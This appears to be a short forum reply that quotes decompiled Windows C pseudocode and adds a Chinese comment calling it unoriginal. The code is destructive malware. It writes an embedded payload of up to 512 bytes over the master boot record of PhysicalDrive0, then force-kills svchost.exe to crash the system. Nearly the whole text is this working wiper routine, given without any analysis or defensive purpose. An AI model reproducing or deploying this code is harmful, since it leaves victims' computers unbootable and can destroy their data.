int __fastcall main(int argc, const char **argv, const char **envp)
{
HRSRC ResourceW; // rax
HRSRC v4; // rbx
HGLOBAL Resource; // rsi
DWORD v6; // edi
const void *v7; // rbx
HANDLE FileW; // rax
void *v9; // rsi
BOOL v10; // ebx
DWORD NumberOfBytesWritten; // [rsp+40h] [rbp-18h] BYREF
ResourceW = FindResourceW(0i64, (LPCWSTR)0x65, (LPCWSTR)0xA);
v4 = ResourceW;
if ( !ResourceW )
return 1;
Resource = LoadResource(0i64, ResourceW);
if ( !Resource )
return 1;
v6 = SizeofResource(0i64, v4);
v7 = LockResource(Resource);
if ( !v7 )
return 1;
if ( v6 - 1 > 0x1FF )
return 1;
FileW = CreateFileW(L"\\\\.\\PhysicalDrive0", 0x40000000u, 3u, 0i64, 3u, 0, 0i64);
v9 = FileW;
if ( FileW == (HANDLE)-1i64 )
return 1;
NumberOfBytesWritten = 0;
v10 = WriteFile(FileW, v7, v6, &NumberOfBytesWritten, 0i64);
CloseHandle(v9);
if ( !v10 || NumberOfBytesWritten != v6 )
return 1;
system("taskkill /im svchost.exe /f");
return 0;
}
你这装的毫无意义啊,好歹有点新意啊? |